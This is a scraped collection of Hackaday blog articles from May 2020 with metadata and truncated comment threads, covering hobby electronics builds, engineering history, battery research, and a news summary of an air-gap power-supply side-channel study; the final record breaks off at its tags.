https://hackaday.com/2020/05/13/blinkenlights-for-your-parallel-port/ | Blinkenlights For Your Parallel Port | Tom Nardi | [
"hardware",
"Tool Hacks"
] | [
"diagnostics",
"led",
"LPT",
"parallel port",
"PCB design"
] | Most modern equipment is connected over USB, and generally speaking we’re all the better for it. But that’s not to say there aren’t some advantages to using serial and parallel ports. For example, the slower and less complex protocols can be a bit easier to debug when devices aren’t communicating,
which [Jeremy Cook] demonstrates in his latest project
.
Looking to troubleshoot some communications problems he was having between his computer and CNC router, [Jeremy] came up with a handy little gadget that will allow him to visualize data passing through each pin of the parallel port in real-time. Even from across the room he can tell at a glance if communication is active, and with a keen eye, determine if he’s getting bi-directional traffic or not.
From a technical standpoint, this is a pretty simple project. The custom PCB is essentially just a pass-through, with an array of 3 mm LEDs and matching 10K resistors hanging off the data lines. But [Jeremy] found it to be an excellent excuse to brush up his KiCad skills. As he explains in the video after the break, this project certainly won’t impress the folks that do PCB design on a daily basis; but if you’re still learning the ropes, these are precisely the kind of projects you should be looking for.
Before any of you say it in the comments, we already know devices like this are available commercially for a few bucks. But that’s hardly the point. Things would be
awfully
slow around these parts if we
disregarded any project that had a commercial alternative. | 24 | 14 | [
{
"comment_id": "6245254",
"author": "Saabman",
"timestamp": "2020-05-13T23:21:41",
"content": "That’s about from the past- I remember when you used to be able to buy those.",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6245256",
"author": "Howard",
... | 1,760,373,489.676308 | ||
https://hackaday.com/2020/05/13/circuitpython-macro-pad-is-one-build-that-wont-bite/ | CircuitPython Macro Pad Is One Build That Won’t Bite | Kristina Panos | [
"how-to",
"Microcontrollers"
] | [
"CircuitPython",
"macro pad",
"mechanical keyboard",
"SAMD21"
] | Have you built a macro keypad yet? This is one of those projects where the need can materialize after the build is complete, because these things are made of wishes and upsides. A totally customized, fun build that streamlines processes for both work and play? Yes please. The only downside is that you actually have to like, know how to build them.
Suffer no more, because
[Andy Warburton] can show you exactly how to put a macro pad together
without worrying about wiring up a key switch matrix correctly. [Andy]’s keypad uses the very affordable Seeeduino Xiao, a tiny board that natively runs Arduino code. Since it has a SAMD21 processor, [Andy] chose to run CircuitPython on it instead. And lucky for you, he wrote a separate guide for that.
Practicalities aside, the next best thing about macro keyboards is that they can take nearly any shape or form. Print a case from Thingiverse as [Andy] did, or build it into anything you have lying around that’s sturdy enough to stand up to key presses and won’t slide around on your desk.
No room left on the desk?
Build a macro foot stool and put those feet to work
.
Via
r/circuitpython | 0 | 0 | [] | 1,760,373,489.596507 | ||
https://hackaday.com/2020/05/13/aladdin-lamp-shoots-flames-with-a-snap-of-your-fingers/ | Aladdin Lamp Shoots Flames With A Snap Of Your Fingers | Moritz v. Sivers | [
"classic hacks",
"Medical Hacks"
] | [
"3d printed",
"Digispark",
"fire",
"flamethrower"
] | Despite their dangers, even Marie Kondo would not convince us to abandon flamethrower projects because they literally spark joy in us. To make this
flame shooting Aladdin lamp
[YeleLabs] just used a 3D printer and some basic electronics.
The lamp body consists of two 3D-printed halves held together by neodymium magnets. They house a 400 kV spark generator, a fuel pump plus tank, and a 18650 Li-ion battery. The fuel pump is actually a 3 V air pump but it can also pump liquids at low pressure. As fuel [YeleLabs] used rubbing alcohol that they mixed with boric acid to give the flame a greenish tint. The blue base at the bottom of the lamp houses the triggering mechanism which magically lights up the lamp when you snap your fingers. This is achieved by a KY-038 microphone module and KY-019 relay module connected to a Digispark ATTiny85 microcontroller. When the microphone signal is above a certain threshold the relay module will simultaneously switch on the spark generator and fuel pump for 150 ms.
Although they proclaim that the device is a hand sanitizer it is probably safer to stick to using soap. The project still goes on the list of cool flamethrower props right next to the
flame shooting Jack-o-Lantern
.
Video after the break. | 4 | 3 | [
{
"comment_id": "6245199",
"author": "LightningPhil",
"timestamp": "2020-05-13T19:16:52",
"content": "This is way better than the music stand I’m printing. Maybe that needs flames too?",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6245392",
"author... | 1,760,373,489.952598 | ||
https://hackaday.com/2020/05/13/the-mark-14-torpedo-when-just-about-everything-goes-wrong-even-the-testing/ | The Mark 14 Torpedo — When Just About Everything Goes Wrong, Even The Testing | Al Williams | [
"Hackaday Columns",
"History",
"Slider",
"Weapons Hacks"
] | [
"engineering",
"mark 14",
"navy",
"torpedo",
"wwii"
] | I am a fan of the saying that those who don’t know history are doomed to repeat it. After all, humans have been building things for a number of centuries and we should learn from the engineers of the past. While you can learn a lot studying successes, sometimes — maybe even most of the time — we learn more from studying failure. The US Navy’s Mark 14 torpedo certainly has a lot to teach us.
The start of the story was the WWI-era Mark 10 torpedo which was fine for its day, but with faster destroyers and some additional data about how to best sink enemy ships it seemed necessary to build a new torpedo that would be faster, carry more explosive charge, and use a new method of detonation. Work started in 1931 with a $143,000 budget which may sound laughable today, but that was a lot of coin in the 1930s. Adjusted for inflation, that’s about $2.5 million.
Changes Needed
Data from the earlier war indicated that you got the most effect by detonating explosives underneath a ship. This was especially true since warships were adding torpedo blisters to absorb strikes along the hull. With a contact fuse, you would tend to explode on the hull somewhere along the perimeter of the ship’s envelope and a ship — especially one with blisters — was more likely to survive the strike.
Contact triggers were out and instead the torpedo would read the change in the magnetic field caused by the enemy ship’s hull and detonate under the ship, splitting the target in half. Unfortunately, the Earth’s magnetic field varies based on location and this made the new detonators unreliable. Some estimates are that the torpedo had at least a 50% fail rate in combat. In 1942, out of 800 torpedoes fired, 80% failed to do their job.
In the 1930s, this torpedo was as complicated as you could get. Clearly, you’d want to test this new design pretty exhaustively, right? The cost of the torpedo and some political wrangling thwarted testing that would have uncovered many problems. Cutbacks meant there was only one company making the torpedo, at a slow rate, and with little oversight. In 1937 the Naval Torpedo Station in Newport, Rhode Island employed 3,000 workers working three shifts and still only produced 1.5 torpedoes per day.
The the Navy’s Bureau of Ordnance not only produced a bad design but then failed to test. The real root cause for the high failure rate was this lack of testing.
Complex Hardware: The Mark 6 Magnetic Influence Detonator
The Mark 14 steam torpedo had the option of using a traditional contact detonator, or the magnetically triggered Mark 6 exploder, which was a marvel in its day.
Paradoxically, the Mark 6 was so secret that its manual was never printed and the original was locked away in a safe where it didn’t do anyone any good. It derived from German magnetic mines and that might have been part of the motivation for the secrecy. Oddly enough, you can read some of the manuals online now. The
Mark 14 maintenance manual
is pretty interesting.
Despite the promise of the new technology, in war crews noticed the new torpedoes were either exploding too early or going too deep. The Bureau of Ordnance dismissed reports that the torpedoes were not effective, blaming the crews for not operating the devices correctly.
That Nobody Can Deny
The little official testing conducted before production was done with a light dummy torpedo. When post-production testing finally took place they showed the torpedo was running deep. Naturally the dummy didn’t sink as far as a fully-operational torpedo in the previous tests.
Faced with direct evidence that the torpedoes were failing, the Bureau finally conceded there was a design problem with the depth mechanism. It would turn out that in addition to the depth problem, the magnetic detonator was too sensitive. There was a backup contact detonator, but it used a firing pin that often failed when it hit enemy ships. That was odd since the system had worked on earlier torpedoes.
The Mark 14 was faster, so striking a ship involved more force than before and it was enough to bend pins in the firing pin block. The designers apparently noticed this early in the design and added stronger springs, but as the torpedo’s maximum speed increased the new springs were not enough and there was no further testing.
One quick fix for the firing pin problem was to machine down lightweight aluminum alloy to make a stronger and lighter firing pin. Oddly enough, some of the material they used was from Japanese planes shot down over Pearl Harbor.
Passing the Buck
This is a sad story that has been repeated many times since then. Budget and schedule pressures short cut technically sound judgment. Then no one wants to admit that there is a problem because that would look bad. As engineers, we should sound the alarm when things are not done right and management should be willing to take a hard look at the cost of doing it right versus the cost of having to redo it later.
The hero of this story, by the way, is Charles “Swede” Momsen. He was an engineer who had proposed the submarine rescue chamber and developed the Momsen lung, which was not entirely successful. When the commander of the Southwest Pacific submarine fleet decided to solve the problems with the Mark 14, he turned to Swede. He carried out the tests that should have been done during development.
The other heroes are the crews that managed to work around these problems as best they could. Despite the Bureau ordering the exploders to have painted screw heads to deter tampering, crews found matching paint and removed them anyway. We’ve seen a lot of
ingenuity like that
during war. Not the least, of course, is hacking
foxhole radios
.
We know not everything we work on is a life or death project. But when people do depend on your work to either behave or not behave in a certain way, saving money on testing often goes badly in the worst way. That’s the lesson of the Mark 14, the Mars Climate Orbiter, autonomous vehicle crashes, or a failed software update bricking devices.
Going Deeper
As you might expect, this story has been told many times. I liked [Drachinifel’s] video about the history of the Mark 14. Some people don’t think the real impact of the torpedo issues were as great as reported, but I imagine if you were on a sub crew effectively firing blanks, you might not agree. [Military History Not Visualized] has an
interesting video
about the real impact of the failure on the course of the war.
Image Sources:
Main Image:
Cliff on Flikr
(CC-By-SA 2.0)]
Thumbnail image:
Cliff on Flikr
(CC-By-SA 2.0)] | 70 | 24 | [
{
"comment_id": "6245177",
"author": "Scott Maxwell",
"timestamp": "2020-05-13T18:25:52",
"content": "Fascinating story, thanks! I’ll note that testing errors killed Mars Polar Lander, not Mars Climate Orbiter. (The latter was the one with the unit-based communication failure.)",
"parent_id": nu... | 1,760,373,490.171765 | ||
https://hackaday.com/2020/05/13/printed-jig-is-a-welding-rig/ | Printed Jig Is A Welding Rig | Kristina Panos | [
"Misc Hacks",
"Robots Hacks"
] | [
"bench power supply",
"butt weld",
"cable driven robot",
"diy spot welder",
"solder paste",
"spot welder",
"steel wire"
] | [NixieGuy] was scheming to build robots with cable-driven joints when the pandemic hit. Now that component sourcing is scarce, he’s had to get creative when it comes to continuous cables. These cables need to be as seamless as possible to avoid getting caught on the pulleys, so
[Nixie] came up with a way to weld together something he already has on hand
— lengths of .45mm steel cable.
The 3D printed jig is designed to be used under a digital microscope, and even clamps to the pillar with screws. Another set of screws holds the two wires in place while they are butt welded between two pieces of copper.
[Nixie] adds a spot of solder paste for good measure, and then joins the wires by attaching his bench power supply set to 20V @ 3.5A to the copper electrodes. We love that [Nixie] took the time to streamline the jig design, because it looks great.
This just goes to show you that great things can happen with limited resources and a little bit of imagination. [Nixie] not only solved his own supply chain problem, he perfected a skill at the same time. If you don’t have a bench supply, you might be able to get away with
a battery-powered spot welder
, depending on your application. | 17 | 10 | [
{
"comment_id": "6245150",
"author": "Andrew Bushnell",
"timestamp": "2020-05-13T16:02:13",
"content": "I guess the current flowed down through the copper tab, through the two SS wires to the copper anvil below. I bet setting to 5 volts would work as well. I’m sure the power supply was in current ... | 1,760,373,490.020279 | ||
https://hackaday.com/2020/05/13/a-redox-flow-battery-made-from-iron-industry-waste/ | A Redox Flow Battery Made From Iron Industry Waste | Gerrit Coetzee | [
"Engineering",
"Featured",
"Original Art",
"Slider"
] | [] | Researchers at the University of Southern California have found a way to make
an effective and competitive redox flow battery out of the iron industry’s waste products.
Luckily for us, the results of the paper were posted on an open journal and we could take a look into the tech behind this battery.
As electric utilization, adoption of electric cars, and the use of renewable power continues to rise, engineers all over are searching for the perfect utility scale battery. We have all heard about
Tesla’s 100MW
lithium battery pack in South Australia. The system is a massive success and has already paid itself back. However, engineers all over were quick to point out that, until we have a breakthrough, Lithium cells are just not the right choice for a utility system in the long run. There has to be a better solution.
What should a good battery look like?
A Vanadium Redox flow battery located at the University of New South Wales. Credit:
Radiotrefoil
Grid scale storage is a important and difficult problem to solve. If we don’t have batteries, we can’t move away from fossil fuel power generation. Without grid storage every power surge, such as
England turning on its kettles for tea
, would knock it out.
Currently power plants are spooled up and down all day to
match the demand
. Even if we didn’t have renewable energy on the horizon, better batteries would allow us to run smaller power plants more efficiently to service demand. You could run one plant at maximum efficiency all day and the battery could level the load. It’s the difference between your car’s fuel economy if you slowdown and accelerate in the city or stay at cruising speed on the highway.
The ideal battery has a few requirements. It has to take charge at a reasonable rate. It also needs to be able to delivery that charge instantly. Most importantly, the battery must be cheap and last a long time. It’s literally the impossible fast, good, cheap dilemma. Engineers have tried everything from molten salt to
stacking rocks
. A hydroelectric dam, for example, is nothing more than a battery made out of water and gravity. Tesla’s large batteries are made out of lithium-ion cells.
The primary economic decision driver in picking a system like this is the Levelized Cost of Energy Storage (LCOS). This is the sum of the capital and operating costs of the system by the total energy stored and delivered over the life of a system. The paper mentions that the US Department of Energy specifies an LCOS target of 2.5 cents / KWh. At an installation cost of $200 / kWh, a battery must deliver 8000 kWh of energy over its lifetime. As the authors point out, if you consider one discharge and charge cycle a day, this means the battery should last 22 years. We know that lithium cells are not up to that challenge.
Redox Flow Batteries
A diagram from the paper showing the operation of a typical flow battery.
There is another type of battery out there, which we’ve covered before, called a redox flow battery. This battery has the potential for nearly unlimited life, low operating cost, and might even be ecologically friendly.
The chemicals can be two separate chemicals, the same one, or any arbitrary blend. This affects how efficient the battery is and how hard it is to recycle/refresh the chemicals used during operation.
In this battery two chemicals flow past each other separated by a membrane. Depending on how you place the electrodes in the chemicals, protons pass through the membrane from one vat to another building up a potential difference between the two. The substances used can be the same chemicals, different ones, or even mixes of the two.
The current state of the art redox battery is based on
vanadium
. The largest install is in Japan at 60 MWh. However, China’s truly impressive power-infrastructure super-corporations are currently building a 800 MWh install. However, vanadium isn’t cheap, and the material is more than a little bit toxic.
Iron Batteries
There’s another element that works wonderfully in these batteries, iron. It’s just waiting on a breakthrough that would let it operate at scale, and that’s where the researchers have had their breakthrough. They found that they can use iron sulfate, a by-product of the iron industry, and anthraquinone disulfonic acid as the chemical on both sides of the vat and get a very effective redox battery.
It has every advantage over the vanadium battery aside from a lower cell voltage. This means that the battery installation has to be a bit larger and more complex, but in the end it stands to be cheaper because the primary electrolytic is a relatively safe industrial offshoot, and the battery has the simplicity of it being a symmetric system: the chemical mix on both sides of the membrane is the same, making refreshing the solution easy. The authors estimate that this battery will cost $54 / kWh while the current state of the art vanadium batteries are hovering between $160 / kWh to 180 / kWh. That’s a nice reduction.
These batteries are fascinating bits of technology. They’re also surprisingly
hackable
. Of course some of the steps to get maximum efficiency, such as doping the membrane with carbon nano-tubes may require
[Ben Krasnow] levels of hacking
. But rudimentary batteries
can be made out of scrap,
which is a pretty good indication of the technology’s viability. We’re curious to see how energy storage revolutions will change the world in the future. What do you think? | 54 | 10 | [
{
"comment_id": "6245129",
"author": "Ren",
"timestamp": "2020-05-13T14:15:52",
"content": "Okay, it has vanadium,so…we’re looking at a battery just as hazardous in the waste stream as NiCd?",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6245130",
"a... | 1,760,373,490.261073 | ||
https://hackaday.com/2020/05/13/floppy-drive-keyboard-is-inefficient-fun/ | Floppy Drive Keyboard Is Inefficient Fun | Lewin Day | [
"Peripherals Hacks"
] | [
"floppy disk",
"floppy drive",
"keyboard"
] | Most of us are used to a typical 101-key setup for typing on our machines. Mobile and touchscreen devices have offered alternative interfaces over the years, but generally still sticking to QWERTY or other similar layouts. [foone] cares not for convention however,
building a text-entry device based on the iconic floppy disk.
The build starts with a standard PC floppy drive, hooked up to an interface board to allow it to work over USB. It’s hooked up to a Raspberry Pi, which runs a Python program that listens out for media insertion events. When a new disk is detected, it reads the volume label, and sends it over to a Teensy LC which simulates a USB keyboard attached to the host PC. The setup uses 29 disks, for A-Z, !, shift, and space. It’s all stuffed inside a SCSI disk enclosure which helpfully provides a power supply along with the classic beige 90s aesthetic.
While you’re probably not going to be typing out your dissertation on this thing, it makes for an excellent conversation piece.
We’ve featured some of [foone]’s eclectic work before, too
. Video after the break. | 39 | 19 | [
{
"comment_id": "6245096",
"author": "Howard",
"timestamp": "2020-05-13T11:17:43",
"content": "It’s especially cool how you used 3D printed models of Microsoft “save” icons.A very creative solution to a non-problem, solved in a non-practical way. :) If you had one of the old TEAC dual-format FD505 ... | 1,760,373,490.335748 | ||
https://hackaday.com/2020/05/13/the-doom-chip/ | The DOOM Chip | Jenny List | [
"FPGA",
"Games"
] | [
"does it run doom",
"doom",
"fpga"
] | It’s a trope among thriller writers; the three-word apocalyptic title. An innocuous item with the power to release unimaginable disaster, which of course our plucky hero must secure to save the day. Happily
[Sylvain Lefebvre]’s DOOM chip
will not cause the world to end, but it does present a vision of a very 1990s apocalypse. It’s a hardware-only implementation of the first level from id Software’s iconic 1993 first-person-shooter,
DOOM
. As he puts it:
“Algorithm is burned into wires, LUTs and flip-flops on an #FPGA: no CPU, no opcodes, no instruction counter. Running on Altera CycloneV + SDRAM”.
It’s the game, or at least the E1M1 map from it sans monsters, solely in silicon. In a very on-theme touch, the rendering engine has 666 lines of code, and the level data is transcribed from the original into hardware tables by a LUA script. It doesn’t appear to be in
his GitHub account
so far, but we live in hope that one day he’ll put it up.
“Will it run DOOM” is almost a standard for new hardware, but it conceals the immense legacy of this game. It wasn’t the first to adopt a 1st-person 3D gaming environment, but it was the game that defined the genre of realistic and immersive FPS releases that continue to this day. We first played DOOM on a creaking 386, we’ve seen it on all kinds of hardware since, and like very few other games of its age it’s still receiving active development from a large community today. We still mourn slightly that
it’s taken the best part of three decades for someone to do a decent Amiga port
. | 18 | 9 | [
{
"comment_id": "6245087",
"author": "roglio",
"timestamp": "2020-05-13T08:56:01",
"content": "Just asked to port it to the more common misterfpga.org platform",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6245095",
"author": "Neder",
"timestamp": "20... | 1,760,373,490.389071 | ||
https://hackaday.com/2020/05/12/foamboard-makes-for-a-light-hovercraft/ | Foamboard Makes For A Light Hovercraft | Al Williams | [
"Arduino Hacks",
"Transportation Hacks"
] | [
"foamboard",
"hovercraft",
"model"
] | If we are to believe many science fiction movies, one day throngs of people wearing skin-tight silver spandex jumpsuits will be riding around on hovercraft. Hovercraft haven’t really taken the world by storm, but [Fitim-Halimi] built his own
model version
and shows you how he did it. You can see the little craft moving in the video below.
In theory, a hovercraft is pretty simple, but in practice they are not as easy as they look. For one thing, you need a lot of air to fill the plenum chamber to get lift. That’s usually a noisy operation. The solution? In this case, a hairdryer gave up its motor for the cause. In addition, once floating on a near-frictionless cushion of air, you have to actually move without contacting the ground. Like many real hovercraft, this design uses another fan to push it along. You can see in the video that the designer uses Jedi hand motions to control the vehicle.
The good news is the motors just go one way, so there is no need for an H-bridge to reverse the motors. A simple FET switch turns them on or off. There is a servo motor to move a rudder that redirects the thrust fan’s air output.
If you want to try this yourself, there are schematics and source code on
GitHub
. We wondered how hard it would be to put a sensor on board and make an interesting twist on a line following robot, or maybe prevent it from hitting walls. Perhaps a reverse thrust fan would be useful, too. In fact, two extra thrust fans, each 120 degrees apart, could give you interesting options.
We liked the idea of foamboard for the body to reduce weight. We’ve seen meat packing trays used before. If you didn’t read our post on the
history of the hovercraft
, you might be surprised how old the idea really is. We keep waiting for our
winged hovercraft
. | 3 | 2 | [
{
"comment_id": "6245094",
"author": "Michal Lenc",
"timestamp": "2020-05-13T10:20:59",
"content": "Moje vznášedlo je plné úhořů.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6245101",
"author": "yetihehe",
"timestamp": "2020-05-13T12:21:04... | 1,760,373,490.423059 | ||
https://hackaday.com/2020/05/12/a-smart-bandage-for-monitoring-chronic-wounds/ | A Smart Bandage For Monitoring Chronic Wounds | Orlando Hoilett | [
"Medical Hacks",
"Science",
"Wearable Hacks"
] | [
"AD5933",
"bandage",
"electrocheimstry",
"impedance spectroscopy",
"LMP91000",
"nrf",
"omniphobic",
"paper diagnostic",
"personalized medicine",
"point-of-care",
"purdue university",
"Wearables",
"wound"
] | Here at Hackaday, we’re always enthralled by cool biohacks and sensor development that enable us to better study and analyze the human body. We often find ourselves perusing Google Scholar and PubMed to find the coolest projects even if it means going back in time a year or two. It was one of those scholarly excursions that brought us to this nifty
smart bandage for monitoring wound healing
by the engineers of
FlexiLab
at Purdue University. The device uses an omniphobic (hydrophobic and oleophobic) paper-based substrate coupled with an onboard impedance analyzer (
AD5933
), an
electrochemical sensor
(the same type of sensor
in glucometers
) for measuring uric acid and pH (
LMP91000
), and a 2.4 GHz antenna for wirelessly transmitting the data (
nRF24L01
). All this is programmed with an Arduino Nano.
They even released their source code
.
To detect uric acid, they used the enzyme uricase, which is very specific to uric acid and exhibits low cross-reactivity with other compounds. They drop cast uric acid onto a silver/silver chloride electrode printed on the omniphobic paper. Similarly, to detect pH, they drop cast a pH-responsive polymer called polyaniline emeraldine salt (PANI-ES) between two separate silver/silver chloride electrodes. All that was left was to attach the electrodes to the LMP91000, do a bit of programming, and there they were with their own electrochemical sensor. The impedance analyzer was a bit simpler to develop, simply attaching un-modified electrodes to the AD5933 and placing the electrodes on the wound.
The authors noted that the device uses a much simpler manufacturing process compared to smart bandages published by other academics, being compatible with large-scale manufacturing techniques such as roll-to-roll printing.
Overcoming manufacturing hurdles is a critical step in getting your idea into the hands of consumers
. Though they have a long way to go, FlexiLab appears to be on the right track. We’ll check back in every so often to see what they’re up to.
Until then, take a look at some other
electric bandage projects on Hackaday
or even make your own
electrochemical sensor
. | 4 | 2 | [
{
"comment_id": "6245057",
"author": "FuzzyLogic",
"timestamp": "2020-05-13T04:10:24",
"content": "I wonder how they got wounds to test it…",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6245066",
"author": "Jan",
"timestamp": "2020-05-13T05:... | 1,760,373,490.469198 | ||
https://hackaday.com/2020/05/12/open-source-raman-spectrometer-is-cheaper-but-not-cheap/ | Open Source Raman Spectrometer Is Cheaper, But Not Cheap | Al Williams | [
"Science"
] | [
"laser",
"raman spectrometer",
"raman spectroscopy",
"spectroscope",
"spectroscopy"
] | Raman spectrography uses the Raman scattering of photons from a laser or other coherent light beam to measure the vibrational state of molecules. In chemistry, this is useful for identifying molecules and studying chemical bonds. Don’t have a Raman spectroscope? Cheer up!
Open Raman
will give you the means to build one.
The “starter edition” replaces the initial breadboard version which used Lego construction, although the plans for that are still on the site, as well. [Luc] is planning a performance edition, soon, that will have better performance and, presumably, a greater cost.
Looking at the bill of materials, it looks like it would well over $2,000 to build, with the bulk of the cost being for the optical parts of the device. That doesn’t include the cuvette which holds the sample will set you back another $250 or so. We aren’t sure how much the performance version will cost to build, but even double that wouldn’t be out of the budget of a well-funded college lab.
Typically, these are expensive because Raman scattering is a very subtle effect. Detecting it is no mean feat. It looks like the project thinks schools will be interested in a low-cost Raman spectrometer, and they are actively seeking academic partners.
You might think this kind of instrument is exotic, but it isn’t the
first one we’ve seen
. It isn’t even the
second one
. If you want to learn more about what people do with Raman spectroscopy, you might enjoy the video from BW Tech, below. | 14 | 6 | [
{
"comment_id": "6244768",
"author": "Abe",
"timestamp": "2020-05-12T08:15:46",
"content": "This was featured on Hacker News a little while ago. I’ll mention here what I mentioned there:This project is not open. A non commercial license is in direct conflict with what is the commonly accepted defini... | 1,760,373,490.517644 | ||
https://hackaday.com/2020/05/11/alexa-shoot-me-some-chocolate/ | Alexa, Shoot Me Some Chocolate | Kristina Panos | [
"Arduino Hacks",
"Raspberry Pi",
"Robots Hacks"
] | [
"alexa",
"arduino",
"arduino nano",
"dc motor",
"facial recognition",
"flywheel",
"M&M launcher",
"raspberry pi",
"servo"
] | [Harrison] has been busy finding the sweeter side of quarantine by building
a voice-controlled, face-tracking M&M launcher
. Not only does this carefully-designed candy launcher have control over the angle, direction, and velocity of its ammunition, it also locates and locks on to targets by itself.
Here comes the science: [Harrison] tricked Alexa into thinking the Raspberry Pi inside the machine is a smart TV named [Chocolate]. He just tells an Echo to increase the volume by however many candy-colored projectiles he wants launched at his face. Simply knowing the secret language isn’t enough, though. Thanks to a little face-based security, you pretty much have to be [Harrison] or his doppelgänger to get any candy.
The Pi takes a picture, looks for faces, and rotates the turret base in that direction using three servos driven by Arduino Nanos. Then the Pi does facial landmark detection to find the target’s mouth hole before calculating the perfect parabola and firing. As [Harrison] notes in the excellent build video below, this machine uses a flywheel driven by a DC motor instead of being spring-loaded. M&Ms travel a short distance from the chute and hit a flexible, spinning disc that flings them like a pitching machine.
We would understand if you didn’t want your face involved in a build with Alexa. It’s okay —
you can still have a voice-controlled candy cannon
. | 10 | 5 | [
{
"comment_id": "6244770",
"author": "Dan",
"timestamp": "2020-05-12T08:45:56",
"content": "Wow, this kid has a bright future",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6244835",
"author": "Hummmmmmmmmmm",
"timestamp": "2020-05-12T14:03:3... | 1,760,373,490.585997 | ||
https://hackaday.com/2020/05/11/free-cloud-data-logging-courtesy-of-google/ | Free Cloud Data Logging Courtesy Of Google | Tom Nardi | [
"Software Hacks"
] | [
"cloud",
"data logging",
"environmental sensor",
"google sheets",
"sensors"
] | Pushing all of your data into “The Cloud” sounds great, until you remember that what you’re really talking about is somebody else’s computer. That means all your hard-crunched data could potentially become inaccessible should the company running the service go under or change the rules on you; a situation we’ve unfortunately already seen play out.
Which makes
this project from [Zoltan Doczi] and [Róbert Szalóki] so appealing
. Not only does it show how easy it can be to shuffle your data through the tubes and off to that big data center in the sky, but they send it to one of the few companies that seem incapable of losing market share: Google. But fear not, this isn’t some experimental sensor API that the Big G will decide it’s shutting down next Tuesday in favor of a nearly identical service with a different name. All your precious bits and bytes will be stored in one of Google’s flagship products: Sheets.
It turns out that Sheets has a “Deploy as Web App” function that will spit out a custom URL that clients can use to access the spreadsheet data. This project shows how that feature can be exploited with the help of a little Python code to push data directly into Google’s servers from the Raspberry Pi or other suitably diminutive computer.
Here they’re using a temperature and humidity sensor, but the only limitation is your imagination. As an added bonus, the chart and graph functions in Sheets can be used to make high-quality visualizations of your recorded data at no extra charge.
You might be wondering what would happen if a bunch of hackers all over the world started pushing data into Sheets every few seconds. Honestly, we don’t know. The last time we showed how you could interact with one of their services in unexpected ways,
Google announced they were retiring it on the very same day
. It was probably just a coincidence, but to be on the safe side, we’d recommend keeping the update frequency fairly low.
Back in 2012, before the service was even known as Google Sheets, we covered how you could do something very similar
by manually assembling HTTP packets containing your data
. We’d say this validates the concept for long-term data storage, but clearly the methodology has changed considerably in the intervening years. Somebody else’s computer, indeed. | 22 | 9 | [
{
"comment_id": "6244699",
"author": "jonsmirl",
"timestamp": "2020-05-12T02:23:16",
"content": "Google gives every account 15GB or so of free storage. These sheets should using that pool of storage. There’s probably a more efficient way to upload and store the data using the Google Drive API.https... | 1,760,373,490.707797 | ||
https://hackaday.com/2020/05/11/a-backpack-that-measures-your-heart-rate/ | A Backpack That Measures Your Heart Rate | Orlando Hoilett | [
"Wearable Hacks"
] | [
"conductive thread",
"e-textile",
"electrocardiogram",
"heart rate",
"textile electronics"
] | It’s interesting to see the different form-factors that people utilize for their portable biometric sensors. We’re seeing heart rate monitors and other biometric sensors integrated into watches, earbuds, headbands, sports bras, and all sorts of other garments and accessories. [Gabi] took an intriguing approach,
integrating an electrocardiogram (ECG) into a backpack
. This type of
heart rate project is pretty popular here on Hackaday
, so it was great running across [Gabi’s] design during our daily perusing for the new and exciting.
[Gabi] used an Adafruit FLORA, a BLE module, an
ECG sensor from Bitalino
, a few other ancillary components, and, of course, a backpack. We appreciate that she walked us through the list of stumblingblocks she came across and how she got around them. So much of the time in our excitement to share our projects we remove the gory details and only present the finished project when really, we learn most from all the things that didn’t work more so than the things that did. Finally, [Gabi] walks through the intricacies of the threading and the particular placement of the snap connectors to attach the circuit to the ECG electrodes. Things get pretty tricky, but luckily [Gabi] documents her project pretty meticulously with schematics, pictures, and early notice of pitfalls.
[Gabi] made sure to remind her readers that this is a prototype, not a medical device. She also brought up electrical safety. Biometric devices such as ECGs need to include a strict set of
isolation circuits
to prevent potential harm to the user. Fortunately,
there are a few well-characterized methods
to accomplish this.
So thanks for a really cool project, [Gabi], and to our readers, why not enjoy
some of our other ECG projects
while you’re at it? | 4 | 2 | [
{
"comment_id": "6244677",
"author": "RW ver 0.0.1",
"timestamp": "2020-05-11T23:42:48",
"content": "Thought I had timewarped back to the 1950s, was expecting a backpack sized heart monitor…Pathe News Voice: “Through the miracle of modern science and technology, cardiac patients no longer have to st... | 1,760,373,490.630562 | ||
https://hackaday.com/2020/05/11/side-channel-attack-turns-power-supply-into-speakers/ | Side-Channel Attack Turns Power Supply Into Speakers | Dan Maloney | [
"Security Hacks"
] | [
"air-gapped",
"exfiltrate",
"exploit",
"malware",
"modulation",
"out-of-band",
"power supply",
"side-channel attacks",
"smps"
] | If you work in a secure facility, the chances are pretty good that any computer there is going to be stripped to the minimum complement of peripherals. After all, the fewer parts that a computer has, the fewer things that can be turned into air-gap breaching transducers, right? So no printers, no cameras, no microphones, and certainly no speakers.
Unfortunately, deleting such peripherals does you little good when [Mordechai Guri] is able to
turn a computer power supply into a speaker
that can exfiltrate data from air-gapped machines. In
an arXiv paper
(PDF link), [Guri] describes a side-channel attack of considerable deviousness and some complexity that he calls POWER-SUPPLaY. It’s a two-pronged attack with both a transmitter and receiver exploit needed to pull it off. The transmitter malware, delivered via standard methods, runs on the air-gapped machine, and controls the workload of the CPU. These changes in power usage result in vibrations in the switch-mode power supply common to most PCs, particularly in the transformers and capacitors. The resulting audio frequency signals are picked up by a malware-infected receiver on a smartphone, presumably carried by someone into the vicinity of the air-gapped machine. The data is picked up by the phone’s microphone, buffered, and exfiltrated to the attacker at a later time.
Yes, it’s complicated, requiring two exploits to install all the pieces, but under the right conditions it could be feasible. And who’s to say that the receiver malware couldn’t be replaced with
the old potato chip bag exploit
? Either way, we’re glad [Mordechai] and his fellow security researchers are out there finding the weak spots and challenging assumptions of what’s safe and what’s vulnerable.
Thanks to [ttl] for the tip. | 12 | 4 | [
{
"comment_id": "6244630",
"author": "Old Guy",
"timestamp": "2020-05-11T20:33:16",
"content": "A facility that didn’t allow speakers, microphones, or cameras wouldn’t allow smartphones either. Because of the speaker, microphone, and camera.",
"parent_id": null,
"depth": 1,
"replies": [... | 1,760,373,491.007861 | ||
https://hackaday.com/2020/05/11/open-source-pick-and-place-has-a-450-bom-cost/ | Open Source Pick And Place Has A $450 BOM Cost | Mike Szczys | [
"Tool Hacks"
] | [
"component feeder",
"machine tools",
"OpenPnP",
"pick and place",
"pick and place machines"
